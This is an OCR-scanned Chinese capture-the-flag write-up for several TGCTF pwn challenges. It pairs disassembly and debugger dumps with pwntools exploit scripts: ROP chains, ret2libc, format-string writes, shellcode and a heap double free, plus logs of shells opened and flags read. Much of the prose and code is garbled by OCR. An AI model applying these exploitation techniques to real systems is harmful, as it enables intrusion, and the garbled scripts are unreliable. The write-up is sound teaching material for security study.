PWN-onlygets
i—

(ATEERBEMME) BREATRBgets

1 fint __fastcall main(int argc, const char **argv, const char **envp)
&
{
3 __inte4 v3; //
4 __inte4 v4; //
5 char v6[16]; //
&
7 = stdin;
8  *(_QWORD *)(stdin + 8) = @LL;
9 *(_QWORD *)(v3 + @x10) = OLL;
& *(_QWORD *)(v3 + @x18) = eLL;
1 *(_QWORD *)(v3 + @x20) = OLL;
2 *(_QWORD *)(v3 + ex28) = OLL;
3 *(_QWORD *)(v3 + @x30) = OLL;
4 *(_BYTE *)(v3 + @Ox75) = 2;
5 = _bss_start;
6 *(_QWORD *)(_bss_start + 8) = OLL;
7 *(_QWORD *)(v4 + @x10) = OLL;
8  *(_QWORD *)(v4 + @x18) = OLL;
9 *(_QWORD *)(v4 + ©x20) = OLL;
@ *(_QWORD *)(v4 + @x28) = OLL;
1 *(_QWORD *)(v4 + @x30) = OLL;
2 *(_BYTE *)(v4 + @x75) = @;
3 gets((__inte4)ve, (__inte4) ,» (__inté4) );
4 return ©;
5}

Arch: amde4-64-1ittle
RELRO:

Stack:

NX:

PIE:

Stripped:

gotERAAE

BN EBREE T  BRFRANNET —ERE KT HXBe XL — X MR, 55
BexpFHAD A IRERRERgankE) (EIEFE LA SITERRAERRILibc, R
AKHEZ2.35)

HNINEHE TXBEXATaslr
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«— Oxe5c5808dd3384F74

«— 0xe5c590f75d104174

«— Ox7fffo0000000

«— @

<« 0

- - «— Ox36612f656d6f682f (' /home/a6')
<« 0

<« Oxffad760af6323400

<« 0

- mov rl15, gword ptr [rip + @x1f@159

R AT (FE mﬁgets‘ﬁﬁ) R LB libchttbht , iRB I EREH AT LRI ALK EAX
SRR SRt T —2RME  (BERE ARSI, Sot T TR EAat TS

sFE=_ libc_start_main+128

.text:000PPP0eERB29E48 loc_29E40: ; CODE XREF: __ libc_start_main+521j
.text:0000000000029E40 mov rl5, cs:_rtld_global_ptr
.text:0000000000029E47 mov ri4, [ril5]
.text:e0e0000008029E4A mov rex, [rl4+8Aeh]
.text:0000000008029E51 test rcx, rex
.text:0000000000025E54 jz short loc_29E6C
.text:@0000000008029E56 mov [rsp+48h+var_48], rdx
.text:0000000000029E5A mov rex, [rex+8]
.text:0000000000029E5E mov rsi, ri12
.text:0000000000029E61 mov edi, ebp
.text:0000000000029E63 add rcx, [ri4]
.text:00000000CRB29E6E call rcx
.text:0000000000029E68 mov rdx, [rsp+48h+var_48]

+ At ARAAGAARAARRIOELS

WNRBAIgEEENiErtld_global , BRARIBEMERIA add rox, [riu] ,FRAIFIEE mov rex, [r
cx+8] FBrex WA Libci—LpRERTtbit , =HIE G [r 101 IRE , SFERIE , Bl IFiEE
HATLibcRAERRIREL T %0 ogg

23A4T__libec_start_main + 1280

EFEEfEcsurp
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.text:0000000000400600 ’ public _ libc_csu_init

.text:0000000000400600 _ libc_csu_init proc near ; DATA XREF: _start+l6fo
.text:0000000000400600 3 _unwind {

.text:0000000000400600 41 57 push ris

.text:0000000000400602 41 56 push ri4

.text:0000000000400604 49 89 D7 mov ril5, rdx

.text:00000000600400667 41 55 push ri3

.text:0000000000400609 41 54 push ri2

.text:000000000040060B 4C 8D 25 BE 87 2@ 00 lea rl2, __ frame_dummy_init_array_entry
.text:0000000000400612 55 push rbp

.text:0000000000400613 48 8D 2D BE @7 2@ 0@ lea rbp, __do_global_dtors_aux_fini_array_entry
.text:o00000000040061A 53 push rbx

.text:000000000040061B 41 89 FD mov rl3d, edi

.text:000000000040061E 49 89 F6 mov rl4, rsi

.text:0000000000400621 4C 29 ES sub rbp, ri2

.text:0000000000400624 48 83 EC @8 sub rsp, 8

.text:0000000000400628 48 C1 FD @3 sar rbp, 3

.text:000000060040062C E8 BF FE FF FF call _init_proc

.text:0000000600400631 48 85 ED test rbp, rbp

.text:0000000000400634 74 20 jz short loc_400656

.text:0000000000400636 31 DB xor ebx, ebx

.text:0000000000400638 OF 1F 84 00 ©0 00 00 00 nop dword ptr [rax+rax+2020eeeoh]
.text:0000000000400640

.text:0000000000400640 loc_4eee4e: ; CODE XREF: __libc_csu_init+54!j
.text:0000000000400640 4C 89 FA mov rdx, ris

.text:0000000000400643 4C 89 F6 mov rsi, ri4

.text:0000000000400646 44 89 EF mov edi, ri3d

.text:0000000000400649 41 FF 14 DC call ds:(__frame_dummy_init_array_entry - 60@DD8h)[r12+rbx*8]
.text:000000000040064D 48 83 C3 @1 5aa FOX, I

.text:0000000000400651 48 39 DD cmp rbp, rbx

.text:0000000600400654 75 EA jnz short loc_400640

.text:0000000000400656

.text:0000000000400656 loc_400656: ; CODE XREF: __libc_csu_init+341j
.text:0000000000400656 48 83 C4 08 add rsp, 8

.text:000000000040065A 5B pop rbx

.text:000000000040065B 5D pop rbp

.text:000000000040065C 41 5C pop ri2

.text:000000000040065E 41 5D pop ri3

.text:0000000000400660 41 SE pop ri4

.text:0000000000400662 41 SF pop ris

text:0000000000400664 C3 retn

SHAT [r12 + rbx = 8] , HBEANEX/MEAETH LAIMELEGERER) , BBE AR Atk L5k
20 libc_start_main + 128HEhtEEETLIEEITT

AP AaNfAIERFrtld_globalle
iz

iR, RN HIE— THRAIASE 1L pop rdi BfikrdiFEFrtld_global, ARED
AV RRgetsEREHATILL Y

LAXBESTRNETERESH, BORIETREEH
o th

HFESNexpE—RNEHT 7 REERE, IRFESUEFTERE A, FEIFRrbp
ﬂ]rspE’Jﬁ% MNErbplIiBESTFrsp, MAEERIEEE T RN L E—LE
XREEE.

XiFGexp B/ LR , GEERMBEERA) SR RESEEIexp
T E—ERE
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debug():
.attach(io)

BAHIIREC®RER , TRtk EERT5EIbss (—IRANEBERIXE) , (HEXMEFbssE
BRI AR Libc it (£790) , WEIRh R

= * ar

.sendline(

Feitrbpid—T , ARIREIE

.text:00000000004005E5 48 8D U5 FO
[rbp+var_10]

.text:00000000004005E9 U8 89 C7

rax

.text:00000000004005EC B8 00 00 00 00
0

.text:00000000004005F1 E8 7A FE FF FF
_gets

.text:00000000004005F6 B8 00 00 00 00
0

.text:00000000004005FB C9
.text:00000000004005FC C3

IR TRERKT

(1

.sendline(

A TR[Eloxu00U480aTMBIE , IX/MBIER start BREIATISIGHELL , ST IE—LERREH
mainfREY, LAtk LR EERITVEERNRE

fEmainfREFHIRAT , RAINE



tele 100
00:0000( rbp rsp
01:0008 [+008
02:0010|+010
03:0018(+018
104:0020 [+020
05:0028(+028
06:0030|+030
07:0038|+038 OxeB89a6bb911b2a3cO
08:0040 [+040 «— 0
09:0048 [+048 < pus
0a:0050|+050
0b:0058|+058
0c:0060 [+060 «<— 0xeB9a6b793972a3cO
0d:0068 |+068 «— 0x1765843c2b3aa3cO
0e:0070 (+070 «— Ox7fff0OEO0000
0f:0078|+078 <« 0
10:0080|+080
11:0088+088 «— 0
12:0090[+090 < pus
13:0098|+098 «— Ox2feB8706b89e5b0OO
14:00a0 [+0a0 < 0
15:00a8(+0a8 — « mov ri15, qword ptr [rip + Ox1f
16:00b0 | +0b0 <« 0
e 4 skipped
1b:00d8 |+0d8 4— 0x53006e6c75762f2e /* './vuln' */
1c:00e0|+0e®
1d:00e8 |+0e8
le:00f0[+0f0
1f:00f8 |+0f8

RABATRTLASISAERA, TOE R LAER pop rdi |, (BRMNRBAIXERBEE—LREA
ret, f£0x6014a04LMi Epop rdifyitiil, AIRFAVEZIZFREIget sBREL, BN
0x6014bOMIANE , IR EFEESIErtld_globa BRI BNAFER T , AR {THYD
AR TiCrbpHifE0x601Ucodt , HiTgets , IXFERIAESTIErt 1d_global NEIRIMEITBIREL
IBETIHEARYget SEREL

sleep(l)

payload = * + p6U(

io.sendline(payload)
sleep(1)

payload = p6u( ) + p6u(e) + pe6u(
io.sendline(payload)

lgippUz=eal



0x4005f1 <main+138>

-
0x4005fb <main+148>
0x4005fc <main+149>
3
0x4005fb <main+148>
0x4005fc <main+149>
!
0x400567 <main>
0x400568 < > = « 0
0x40056b < > > (0x601468 - 0x10)
0x40056f <main+8> ptr [rip 0 aaa 5 ] = «— 0xfbad2088
0x400576 <main+15> m C rax 8], 0 1<=0

rsp
-058 «— push rbp
-050
-048

20| -040 « 0

28|-038 <— 0x846351c6a0c7991b
-030 — <« 0
-028 - <« push rbp

0x4005f6 main+143
0x4005fb main+148

tele 1000
rsp
-058 <~ push rbp
-050
-048
20| -040 « 0
28|-038 < 0x846351c6a0c7991b
-030 «— 0
-028 <« push rbp
-020
-018
rax < call

<= leave

THEZERZcall getsBE T, HAIF(TitrbpEIX, EiEHEF

payload = * + p6u( ) + péu(ret) * 6 + p6u(rdi)[:7]
io.sendline(payload)

Xizpeu(rdi) [: 7129 TBEgetsEEHErtl1d_globaliEM T , EIXMEFRI X NEHE
KESHESHNARTAREFT , B BER M AERrbp leaveZ|—Luithilt, BA%E
Bl LAZBEZAEEIR)

rax rsp 0x626262 2626262 ('bbbbbbbb")

-008 0x626262 2’6262 ('bbbbbbbb')

rbp - «— pop rdi
+008

5 skipped

+038
+040
+048
+050

call getsHIRYE Rt NtRrIFFIIE




«— push rbp

< 0
<4— pop rdi

< call

0x400664 <__libc_csu_init+100>
1)

0x400663 <__libc_csu_init+99>

0x400664 <__libc_csu_init+100>
1)

0x400663 <__libc_csu_init+99>

0x400664 <__libc_csu_init+100>
1)

rex: «— 0xfbad2088

0x4005f6 <main+143> mov eax, 0
0x4005fb <main+148> leave
0x4005fc <main+149> ret

«— pop rdi
o~

< call

«— 0x6262626262626262 ('bbbbbbbb")

«— leave

XA EHEATBERREER, I TTeget s [RE B AMRRIR BN (get sHT/ERIBAR T)

payload = p6u(
io.sendline(payload)

getsIEARIAR , XiAEXrtld_globalHIAFHITIEN , XMl B iE B uIERIHbIE

tele rbp
rbp

+008 «— push rbp

+010 «— Mov eax, 0
rsp

+020

+028 4— leave

+030

+038




A WgetsHUTREXMEFH(BARRTIER , B ENHEHRAI— MELL, IR ERRE
AT REAFEESTT 7)) XM rbpfErsp LEE—ENXE , ftspush— L5178, KiYF
B EEFE ML, 2XEpushit X T, (RBRIAEL Y , HEEINMEEEERERTH
MIELRTTTE , LLINRAEEENER  BREIRE— M THRFIRZ KR, BMEREBRIEE
EIRAER  (BERRIA SR E A EIE T)

AJLAERIRIINE TX M IRE

ETRHALNEX MEITRIAE , AEHAIT__libc_start_main + 1287

) +
( )) . ljust(
.sendline( )

XA BropitFANERNNERGE—E 7 (ErEE TR F R EHERX M SERE
—RANEERRBW ¥ (FEEEL)

p6uU(OxU0065A) + p6u(0) + p6u(0x6010a0) + p6U(Ox601U4f8) + p6U(O) * 3 + p6uU(OxUO
0649) FEropAIiEF T , IXASEILAEHIrbphIR B LAULLK#E oggI—LE5: 4, peu(-293 -
Libc.sym["gets"] + Oxebd3f) 2% LBA—MEFIERT gets + 293 BUMBAE, #=dllrex/y
gets + 293 , A/FFIFadd{mZ3kZpLone_gadget

JEHE— TRERIE



«— Oxfbad2e88

d ptr [rip +

d ptr [r12 + r

0x40065C < ibc_csu_init+92>

0x40065e < ibc_csu_init+94>

0x400660 <_ 1libc_csu_init+96>

0x400662 <__ libc_csu_init+98>

0x400664 < libc_csu_init+100>
J

«— 0xfbad2088

«— Ox6b6fa

-

«— Ox6b6fa
<— Ox6b6fa
« 0

-

ox7FFff7c29e4 ibc_start_main+128> r15, quord ox , [ex7TFfff7e19fa0] <~ ©x6b6fa

Ox7ffff7c29e4 libc_start_main+1 ri4, qword r 5 [ «— Bx6bé6fa

Ox7ffff7c29eda < bec_start_main+138> rd o [ 1 —> <— 0x601290
> test rex, rex 0x601468 & 0x601468 EFLAGS => 0x202 [ 1

EHATRI=1T/a, rex3ERL T HAI— M HBlE

JFEErex

«— 0Ox6b6fa
d ptr [r12]

BRAETSR mov rcx, qword ptr [rcx + 8] BY, rexmfiEgets+29ufyE T



<— mov recx, qword ptr [ri12]

«— mov ri5, qword ptr [rip + Ox1f0159]

0x6b6fa
«— 0x6b6fa

«— mov rsi, ri2

Ox7ffff7c29e4a < libc_start_main+138>

Ox7ffff7c29e51 < libc_start_main+145>
Ox7ffff7c29e54 < libc_start_main+148>

mov rcx, gword ptr [r14 + 0xa0] s [
rex, rex 0x601468 & 0x601468

je >

] = >

test

Ox7ffff7c29e56 < libc_start_main+158>

Ox7ffff7c29e5a < libc_start_main+154>
- mov
rip + 0x1f0159]

Ox7ffff7c29e61 < libc_start_main+161>

Ox7ffff7c29e63 < libc_start_main+163>

Ox7ffff7c29e66 < libc_start_main+166>

mov qword ptr [rsp]l, rdx
rex, gword ptr [rex + 8]

rsi, ri2

mov

mov
add
call

edi, ebp
rex, gword ptr [ri4]
rex

XA [r1d]1BAIE R HEF T, 1E1TRaddig < i

«— mov dword ptr [rbp - 0x48], esp

<= mov r15, gword ptr [rip + Bx1f0

«<— mov ri5, gword ptr [rip + 0x1f0159]
ox6b6fa
«— Ox6b6fa
«— call rcx
Ox7ffff7c29e56 <__ libc_start_main+150>

Ox7ffff7c29e5a <__ libc_start_main+154>
Ox7ffff7c29e5e <_ libc_start_main+158>

gword ptr [rsp], rdx
rcx, gword ptr [rcx + 8]
rsi, ri2

Ox7ffff7c29e61 <__libc_start_main+161>
Ox7ffff7c29e63 <_ libc_start_main+163>

edi, ebp

rcx, qword ptr [ri4]

rcx

<= mov ri5, quord ptr [rip + Ox1f8159]

pwn
libc = ELF(
context(os=

io = process(

debug():
gdb.attach(io)
bss =
rdi
ret =
payload = + p6uU(bss) + p6u(
io.sendline(payload)
payload = *
sleep(l)
io.sendline(payload)
sleep(1)

+ p6u4(bss) + p6u(

«— 0x601290

EFLAGS => 0x202 [ 1

<— mov rcx, qword ptr [ri12]
«— mov r15, gword|

(Ox7ffff7c80646 + Ox6b6fa)

< mov rcx, gword ptr [r12]
«— mov ri15, gword ptr [

(Ox7ffff7c80646 + Ox6b6fa)




.sendline(

(1)

.sendline(
(@D)
.sendline(

(1)

= (
.sendline(

(1)

.sendline(

(1)

(p6u (- = .sym[
) + (0) + (
( )).ljust(
.sendline( )
.interactive()

==

(LA FEIEkB2er00mnefs)

bug():
.attach(io)

O

.sendline(
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.recv(8))- .sym[
+str(hex( J)))
.sym[ ]
= +next( .search(
print(hex( ))

.sendline(
.interactive()

E=
U TFRSMSSREET:

7T — N NeENsosxtiHE, TUFIHcsuFEH gets RIESCHLE, SABFILHE
libc &M gets 5F1TsoziERJoffsetiB5EsofitHll, &EFIAcallETEHso

: next(elf.search(asm(x)))
.symbols[ ]
.symbols[ ]
+

.pltl ]
.got[ ]
= .symbols[
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.join(map(
.join(map(
.join(map(
.joinCmap(
.joinCmap(
.join(map(
.join(map(
.joinCmap(
.joinCmap(
.joinCmap(
.join(map(
.join(map(

.join(map(

+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+

.joinCmap(
)
.sendline( )
.attach(io)
= .join(map(
.sendline( )
.interactive()




0x4004e9 <deregister tm clones+41>

0x4005fb <maint148>
0x4005fc <main+149>

0x400663 < 1libc csu init+99> Is) rdi
0x400664 < 1libc csu init+100>
'

gword ptr [r12 + rbx*8]

0x40064d <_ libc_csu_init+77>
0x400651 < 1libc csu init+81>
0x400654 < 1libc csu init+84>

0x400656 < 1libc csu init+86>
0x40065a < 1libc csu init+90>

:0000| rsp
10008 <—mov rex, gword ptr [rsp + 8
10010
:0018 +—pop rdi
10020 <—mov rex, gword ptr [rsp + 8
10028
10030 0
—- +—0xf202e139

0x400649 _ libc_csu_init+73
0x601ae8

vmmap 0x7£d5£202e139
LEGEND: | | | | | RODATA
Start End Perm Size Offset File
0x7£d5£202d000 0x7fd5£202e000 r—p 1000 0 /home/gets/hznu/onlygets/TGCTE. so

0x7£d5£202£000 0x7£d5£2030000 r—p 1000 2000 /home/gets/hznu/onlygets/TGCIF. so
si

| | RODATA
«—0x4654434754 /* ' TGCTF */
«—0xfbad2088

+—0x4654434754 /* *TGCTF #/

<«—endbr64

<—add rbx, 1

<—endbr64

endbré4
0x7fd5f202e13d rbp
0x7fd5f202e13e 0V rb; S| = «—0
0x7fd5f202e141 r r 0x2e90 , [0x7£d5£20301d8] «—0xfbad2088
0x7fd5f202e148 i r , L «~—0xfbad2088
0x7£d5f202e14b W =0
0x7£d5f202e150 oV =2
0x7£d5f202e155 W =0
0x7fd5f202e15a OV rdi, = <«—0xfbad2088
0x7fd5f202e15d 1 0 70 >

0x7£d5F202e162 oV rax, 0x2e67 , [0x7£d5f2030£d0]

BBLBRRe27
[*] switching to interactive mode
$ 1s
[DEBUG] Sent @x3 bytes:
b'ls\n’
[DEBUG] Received @xa5 bytes:
b'TGCTF.c  d\t exp.py 1ld-linux-x86-64.s50.2 pwn-onlygets.tar\n’
b'TGCTF.so docker expl.py libc.so.6\t pwn.c\n'
b'build.sh docker.zip flag pwn\t\t rm. sh\n'
TGCTF.c  d exp.py 1ld-linux-x86-64.s0.2 pwn-onlygets.tar
TGCTF.so docker expl.py libc.so.6 pwn.c
build.sh docker.zip flag pwn rm.sh

s 1




EA

BADPmagic gadgetdILAR, BAKIRE () , (BRILIKI, IHE(ITLIEAFHE

PWN-ZZI)

ret2libc, —R#IRE, EREEEMAIEBT

.pltl
.got[ ]
.symbols[

* ( + 8)
(next( .search( (
( )
( )
( )

.sendline(

.address = (io.recvuntil( )[-6:1.1just(8,
.sym[ ]
+ hex( .address))

+ 8)
(next( .search( (
(next( .search(
(next( .search(
( .sym[
.sendline( )
.sendline( ))
.interactive()

5151551515200
[DEBUG] Sent @x9 bytes:
b'cat flag\n’
[*] switching to interactive mode
[DEBUG] Recelved @x2c bytes:
b’ TGCTF{ee7aba3c-4bas-4774-5tf6-dab7b78f32f9}\n’
TGCTF{ee7aba3c-4ba5-4774-5tf6-da67b78f3219}
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PWN-stac

| Yo - AY AN ™ N

XBAEAZNEKCRER, RIBEESAT

1 __ int64 _ fastcall main(int al, char **a2, char **a3)

2 {

3 setbuf(stdin, @LL);

4 setbuf(stdout, @LL);

5  setbuf(stderr, OLL);

6 std::operator<<<std::char_traits<char>>(&std::cout, "welcome! could you tell me your name?\n");
7 read(@, &buf_, OxABulLL);

8 std::operator<<<std::char_traits<char>>(&std::cout, "what dou you want to say?\n");
9 sub_4@11FA();

®  return OLL; |

1}

A LABEEIFbuf _EBEIENOXABNETS, buffiiFbss, (FHEEMAIILILANSE HH

.data:000000000040409E db 0

.data:000000000040409F db 5}

.data:0000000080404040 qword_4040A0 dg 1 ; DATA XREF: sub_4011B&+1ATr
.data:00000000004040A8 ; unsigned int fd

.data:0000000000404008 fd dg 1 ; DATA XREF: sub_4011B6+21tr
.data:00000000004040B0 db (5]

.data:00000000004040B1 db (5]

.data:00000000004040B2 db 0

.data:00000000004040B3 db 5}

.data:00000000004040B4 db (5]

.data:00000000004040B5 db 5}

.data:00000000004040B6 db 0

.data:00000000004040B7 db 5}

.data:00000000004040B8 ; size_t count

.data:00000000004040B8 count dq @Bh ; DATA XREF: sub_4011B6+2BTr
.data:00000000004040C0 ; char buf[72]

.data:00000000004040C0 buf db 48h dup(@) ; DATA XREF: sub_4011B6+8To
.data:000000000040840C0 ; sub_4011B6+13To
.data:0000000000404108 aBinSh db '/bin/sh',@

.data:0000000080404110 db 5}

.data:0000000000404110 _data ends

.data:0000000080404110
LOAD: @00000ee0e404111 ;
LOAD : 0000000000404111

B &

REHANERERCRER — I ERNGRH, XEREE LR
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.text:00000000004011FA ; void *sub AG11FA()

.text:00000000084011FA sub_4811FA proc near ; CODE XREF: main+8Flp
.text: 0000000000401 1FA
.text:00000000004011FA buf
.text:00000000004011FA arg_18
.text:00000000004011FA
.text:00000000004011FA ;  unwind {

byte ptr -48h
gword ptr 28h

. text:00000000004011FA endbrod

.text:00000000004011FE push rbp
.text:00000000004011FF mov rbp, rsp
.text:0000000008401202 sub rsp, 48h
.text:0000000000401206 mov rax, [Pbp+l]
.text:0000000000401204 mov [rbp+arg_ 18], rax
.text:000000000040120E Xor rdi, rdi s fd
.text:0000000000401211 lea rsi, [rbp+buf] ; buf
.text:0000000000401215 mov rdx, 58h ; 'P" ; count
.text:000000000040121C xor rax, rax
.text:000000000840121F syscall ;5 LINUX - sys_read
.text:p0000R0RERART221 mow rax, [rbp+arg_18]
.text:0000000000401225 cmp rax, [Pbp+l]
.text:0000000000401229 jnz short sub_4011B6
.text:000000000040122B leave

.text:000000000040122C retn

tewt - ARRAARAAPRAAAT 220 suh AAT1FA endn

IR EAINRE I FErbp/E FOX28HIMIE, REfEFARNHESILHREHIR
EIHEHFOEERY, WRARE, HeBiiEEIsub_de11b6RIfUE

.text:00000000004011B6 ;  unwind {

+ . text:00000000004011B6 endbrod

.text:00000000004011BA push rbp

.text:00000000004011BB mow rbp, rsp

.text:00000000004011BE lea rax, buf

.text:00000000004011C5 mov [rbp+var_8], rax
.text:00000000004011C9 lea rcx, buf

.text:0000000000401100 mov rax, cs:qword_4040A0
.text:00000000004011D7 mov rdi, cs:fd ; fd
.text:00000000004011DE mov rsi, rcx ; buf
.text:00000000004011E1 mov rdx, cs:count ; count
.text:00000000004011E8 syscall ; LINUX - sys_write
.text:00000000004011EA mov rax, 3Ch ; "<’
.text:00000000004011F1 mov rdi, 1 ; error_code
.text:00000000004011F8 syscall 3 LINUX - sys exit

-text:00000000004011F8 ; } // starts at 4011B6

+ ot ARAAARRRARAART T ER

[IEHEX RS, SRENESEY, SERSEASEREMbss FEIA, FUABRINIRETERR
B, fRIXE, ASIERIEDbss FEAEIEB=M get shellT

.recvuntil(

+
.Ljust(

)
.Ljust(

.send(




io.recvuntil(

io.send( *
io.interactive()

BeBPeB6C
[DEBUG] Recelved @xla bytes:
b'what dou you want to say?\n'
[DEBUG] Sent @x50 bytes:
b'a' * ox56
[*] switching to interactive mode

$ cat flag
[DEBUG] Sent ©x9 bytes:
b'cat flag\n'
[DEBUG] Recelved @x2c bytes:
b’ TGCTF{eladof47-16d0-3939-5dcb-bfb73492c@8a}\n’
TGiT F{elad9of47-16d0-3939-5dcb-bfb73492c08a}
$

PWN-shellcode

B tE—, FUHERAAETRIEAR

= o o o

oD o o o o o o o o

=

IERIRErdiBEE, FEEIEMEERshellcodelENRER, FRLARIUAEREEEEIE
A/bin/sh, #AfGadd rax, 0x3b,REEEsyscallFifT

pwn *
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.recv()
.attach(io)
= (

.send(
print(len( ))
.interactive()

b'libexec\n'
b'libx32\n’
b*vuln\n'
bin
dev
flag
lib
1ib32
libsa
libexec
libx32
vuln
% cat flag
[DEBUG] Sent ©x9 bytes:
b'cat flag\n'
[DEBUG] Received ©x2c bytes:
b’ TGCTF{34c:9bc:e?—a831—a781—2e95—?c:c:594221a9?}\n '
TGCTF{M{:Qb{:@?—aﬂ?;l—a781—2995—7cc594221a9?}

s 1

PWN—fmt

XA REGEN—RNRBELEHE—NEARE, MEMEZSKEN, BERALE—,
LB EE N print fRNIR [EHBHE
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rsp, oxds
» @x7fdea®2897b6 <printf+198> ret
b
ex401276 <main+192> mov dword ptr [rip + ex2doe], @ [magic] => @
0x401280 <main+202> mov eax, @ EAX => @
Ox4091285 <main+207> mov rcx, gword ptr [rbp - 8] RCX, [ox7ffdeebf51a8] => @x922dsdeed6a32cee
Ox491289 <main+211> xor rcx, gword ptr fs:[ex2s] RCX => @ (©x922d5deed6a32cen ~ @x922d5deed6a32cee)
9x401292 <main+220> Vv je < >

[ STACK ]
:0000| rsp ex7ffdeebf5148 —» «— mov dword ptr [rip + ex2d9e], @
0008| rie@ ox7ffdeebf5150 - Oxa61616161 /* 'aaaa\n’ */
0010 -058 ox7ffdeebf5158 — «— mov rax, gword ptr [rsp + @x58]
0018 | -850 ex7ffdeebfs5160 <— Bx6Te
10020 | -048 ex7Tfdeebf5168 — Bx7ffd6ebf55c9 «— @x922d5deed6a32ccd
100928 | -e40 ex7ifdeebfs5170 — +— jg ex7ffdeebfbeaz
0030 | -038 ex7ffdeebf5178 «+— 0x10101000000
0038| -030 ox7ffdeebf5180 «— 2

[ BACKTRACE ]
8 ex7fdead2897b6 printf+198

1 0x401276 main+192

2  ox7fdea@252doe  libc start call main+128

3 ox7fdead252e40 __ libc start main+128

a ox4ae1efe _start+4e

AR RIS ArspfINIE, thiRox7Fffd6ebf51U8IEMANX/MIE, MLEAT
gift, HELEMkibil, FRLIS—XREOXMERTT, AEHIEHELibe

add
0x7f8f3d57bd56 <printf+198> ret
¥
0x40123d lea rax, — 0x60]
0x401241 mov edx,
0x401246 mov rsi,
0x401249 mov edi,

:0000| rsp «—(0x3000000010

:0008|—-138 — «— %4669¢%11$hn%193p’

:0010(—-130 — +—0x34000000340

10018128 +—0x126£25b1fc264400

:0020]-120 «—0x34000000340

10028118 — «— %4669¢%11$hn%198p’

:0030|-110 «—0x30 /* "0 */

:0038(—-108 —* «—cmp rax, —0x1000 /* 'H= =*/

0 0x7f8f3d57bd4f printf+191
1 0x40123d

2 0x3125633936363425

3 0x243931256e682431

4 0x70

) 0x0

WERMEIXIFRY, REEEFoggwiiT (SABBIAERIRmKAY, 1/4096)
pwn
context(log_level=

io = process(
[

env={

elf = ELF(
libc = ELF(
io.recvuntil(




= int(io.recv(12),
¢ + hex(
.attach(io)

.Ljust(
( - 8)
.send( )
.recvuntil( )
.address = int(io.recv(12), ) -
+ hex( .address))

. ]
.address + [1]
+ str( & ).encode()

+ str((( > 16) & =
)).encode()

.Ljust(

.send( )
.sendline(
.interactive()

DEBUG] Received ©xeb bytes:
bl
al

2y |
DEBUG] Received ©x2c bytes:
b’ TGCTF{6e59f1ac-fA9b-73e0-ea92-4ddf8e9cd3ed}\n’
TGiTF{BeSQFlac—f49b—7396—ea92—4ddf899cd3e@}
%

PWN-overflow

MBI EA—, BREEREXMERTEILVMEERN. . .
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Ll vieEwTa =) 1 oBEuubLLLE =1} || nex vigw—1

int _ cdecl main(int argc, const char **argv, const char **envp)
{

char buf[200]; // [esp+@h] [ebp-DBh] BYREF
int *p_argc; // [esp+(C8h] [ebp-8h]

p_argc = &argc;

setvbuf(stdin, @, 2, 0);
setvbuf(stdout, @, 2, @);
setvbuf(stderr[@], 8, 2, 8);
putsd"could yvou tell me your name?"™};
read(@, name, 256);

puts("i heard you love gets,right?");
gets(but);

return 8;

B T W R - a1

LS BT R ¥ ]

[} R - Sy W N

AILUEESE—T, SofEbssANGURE, Af5getsREl, ATLVF—&rlselAs2E BN
ret2syscall, (BERENEEMNIMRAINARBIXHER, EEFERENEHR

=TT =" - == | i -Tr

.text:080498C6 lea esp, [ecx-4]
-text:088498C0 retn
SiBespifkexc-LEEAETE
s . text:080498a7 lea ecx, [esp+4]
.text:0804980B and esp, OFFFFFFF@h
.text:0804980E push dword ptr [ecx-4]
.text:08049811 push ebp
.text:08049812 mov ebp, esp
.text:08049814 push ebx
- maed W FADATDAA C e— i

msFFiaRIRd ke cxAYERZEM esp EHENHAEBHEL LY, BMEMEREEARREMKME
i, BamH#Esk, MEiREHpie, Mecx—FHAMERMNNBMNREN, LIRSS E
FiTR, F—REEFbssSrop, BIEEERIT

(next( .search( (
(3)
(next( .search(asm(
(0)
Cnext( .search( (

(buf)




.search(

.search(

.search(

.search(

.search(

.search(

+ + + + + + + +

.search(

.recv()
.sendline(
= (

.recv()

.sendline(
.sendline(

.interactive()

b'libx32\n’
b'vuln\n'
bin
dev
flag
lib
lib32
libsa
libexec
libx32
vuln
$ cat flag
[DEBUG] Sent @x9 bytes:
b'cat flag\n'
[DEBUG] Received @x2c bytes:
b' TGCTF{eebd82@3-1f15-85c1-296b-8c21ba15b840}\n"
TGiTF{eebd8283—1'F15—95C1—296b—8€21b815b848}
%

PWN-heap
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EEFHENE T, 2.23, JLAZREbssEEBALUE, MERTLTEIbssEHERME, EK
RAGBRT, 8uaf, RESZE:EZ double free, BT EEEDbssBEEHE—
ik, BHIBREER, BIBHERA/NEEK, freeZ/GHAunsortedbin, FALAZEZlibe
T, Bdouble free—;X¥Jmalloc hook

dbg():
.attach(

.recv()

fE=
.sendline(

add( , ):
.recvuntil( )
.sendline(str(1))
.recvuntil( )
.sendline(str( ))
.recvuntil( )
.sendline( )

free(idx):
.recvuntil( )
.sendline(str(2))
.recvuntil( D)
.sendline(str(idx))

new( ):
.recvuntil( )
.sendline(str(3))
.recvuntil( )
.send(con)




.address = (io.recvuntil( )[-6:1.1just(8,

¢ + hex( .address))

))

.address + [21))
.recv()

.sendline(str(1))
.recvuntil( )
.sendline(str(
.interactive()




[DEBUG] Received ©x8 bytes:
b'size?\n'
b'> "'

size?

> % 1s

[DEBUG] Sent @x3 bytes:
b'ls\n'

[DEBUG] Received ©x22 bytes:
b'bin\n'
b'devi\n’

b'flag\n'

b'lib\n'

b'lib32\n'

b'libea\n’

b'wvuln\n’

bin

dev

flag

lib

1lib32

libea

vuln

¢ cat flag

[DEBUG] Sent @x9 bytes:
b'cat flag\n'

[DEBUG] Received @x2c bytes:
b'TGCTF{b903684a-43b0-4d76-0aa9-dad30as5dc9ec}\n’

TGCTF{b983684a-43b0-4d76-0aa9-dad3vasdc9ec}

PiWN—-noret

EHIZjopAKR, HEXHEpwnNKES NP AL FErop (REISRAMWE) , BFEjop (B
Ejmp) Fcop (FJAcall) , IATARWAIRY, XEZWFRIERENER, ~2HK
HAY, EAREEEHARYT, (LERBCH jopZElF, ALMBERZTRAT
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B LS L e L L L L L L L L L TR L L

v . text:0000000000401000
-text:0000000000401002

-text:0000000000401005 ;

text:00000000004a10a5
-text:0000880000481008

-text:000000000048100A ;

-text:000000000048100A
.text:000000000040100D

-text:000000000040100F ;

-text:000000000040100F
-text:0000000000401010
.text:0000000000401011
.text:0000000000401012
.text:0000000000401013

-text:0000000000481016 ;

-text:0000000000401016
-text:0000000000401017
.text:0000000000401019

-text:0000000000481018 ;

.text:0000000000401018
-text:000000000040101F

-text:0000000000401021 ;

Ctext:0000000000481021
